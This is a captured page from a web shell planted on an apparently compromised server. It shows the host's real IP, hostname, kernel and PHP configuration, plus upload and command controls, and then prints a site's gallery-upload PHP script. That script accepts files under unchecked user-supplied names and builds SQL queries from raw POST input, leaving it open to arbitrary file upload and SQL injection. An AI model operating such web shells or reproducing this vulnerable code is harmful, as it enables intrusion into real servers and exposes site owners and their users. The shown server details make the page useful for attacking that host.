403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)explorer-island.com/old/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)explorer-island.com/old/webadmin/gsubadd.php
<?php require("configure.php"); ?>
<?
$gcatid		= $_POST["gcatid"];

$sponsorNum	= $_POST["sponsorNum"];
//print_r($_POST);

$sql = "select max(gimgid) as maxid ";
$sql .= "from galleryimg ";
$result=mysql_query($sql);
$row = mysql_fetch_array($result,MYSQL_ASSOC);
$gimgid = $row{maxid}+1;
$cnt = $gimgid;
$a_gpref = array();

for($i=1;$i<=$sponsorNum;$i++){
	if ($_FILES['slide2image'.$i]['name'] <> '')
	{
		copy ($_FILES['slide2image'.$i]['tmp_name'], "gallery/".$gimgid.'_'.($cnt).$_FILES['slide2image'.$i]['name']) 
			or die ("Could not copy");
		
		$slide2image[$i] = $gimgid.'_'.($cnt).$_FILES['slide2image'.$i]['name'];
		$a_gpref[$i] = $_POST["orderno".$i];
		$image = "gallery/".$gimgid.'_'.($cnt).$_FILES['slide2image'.$i]['name'];
		createthumb($image, $image, 600, 600);
			 
		copy ($_FILES['slide2image'.$i]['tmp_name'], "gallerythumb/".$gimgid.'_'.($cnt).$_FILES['slide2image'.$i]['name']) 
			or die ("Could not copy"); 
			
		$imagethumb = "gallerythumb/".$gimgid.'_'.($cnt).$_FILES['slide2image'.$i]['name'];
		createthumb($imagethumb, $imagethumb, 200, 200);
		
		$cnt++;
	}
	else
	{
		$slide2image[$i] = "";
	}
}

function createthumb($name,$filename,$new_w,$new_h)
	{
	$system=explode('.',$name);
	if (preg_match('/jpg|jpeg|JPG|JPEG/',$system[1])){
		$src_img=imagecreatefromjpeg($name);
	}
	if (preg_match('/gif|GIF/',$system[1])){
		$src_img=imagecreatefromgif($name);
	}
	if (preg_match('/png|PNG/',$system[1])){
		$src_img=imagecreatefrompng($name);
	}

	$old_x=imageSX($src_img);
	$old_y=imageSY($src_img);
	if ($old_x > $old_y) {
		$thumb_w=$new_w;
		$thumb_h=$old_y*($new_h/$old_x);
	}
	if ($old_x < $old_y) {
		$thumb_w=$old_x*($new_w/$old_y);
		$thumb_h=$new_h;
	}
	if ($old_x == $old_y) {
		$thumb_w=$new_w;
		$thumb_h=$new_h;
	}

	$dst_img = imagecreatetruecolor($thumb_w,$thumb_h);
	imagecopyresampled($dst_img,$src_img,0,0,0,0,$thumb_w,$thumb_h,$old_x,$old_y); 
	$red = imagecolorallocate($dst_img, 255, 0, 0);
	$green = imagecolorallocate($dst_img, 0, 255, 0);
	$blue = imagecolorallocate($dst_img, 0, 0, 255);
	$black = imagecolorallocate($dst_img, 0, 0, 0);
	// Make the background transparent
	imagecolortransparent($dst_img, $black);

	// Draw a red rectangle
	imagefilledrectangle($dst_img, 4, 4, 50, 25, $red, $green, $blue);


	if (preg_match("/png|PNG/",$system[1])){		
		imagepng($dst_img, './imagecolortransparent.png'); 
	} else if (preg_match("/gif|GIF/",$system[1])) {
		imagegif($dst_img, './imagecolortransparent.gif'); 
	} else {
		imagejpeg($dst_img,$filename); 
	}
	imagedestroy($dst_img); 
	imagedestroy($src_img); 
}


for($i=1;$i<=$sponsorNum;$i++){
	if( strlen($slide2image[$i])> 0){
		$sql = "insert into galleryimg (gimgid, gimgfile, gcatid,pref ) values ('".$gimgid++."', '".$slide2image[$i]."', '$gcatid', $a_gpref[$i] )";
	}
	mysql_query($sql);
	echo mysql_error();
}

//echo $sql;
mysql_close($dbh);

header("Location: gsubindex.php?gcatid=$gcatid&msg=Update Successful");
?>

Youez - 2016 - github.com/yon3zu
LinuXploit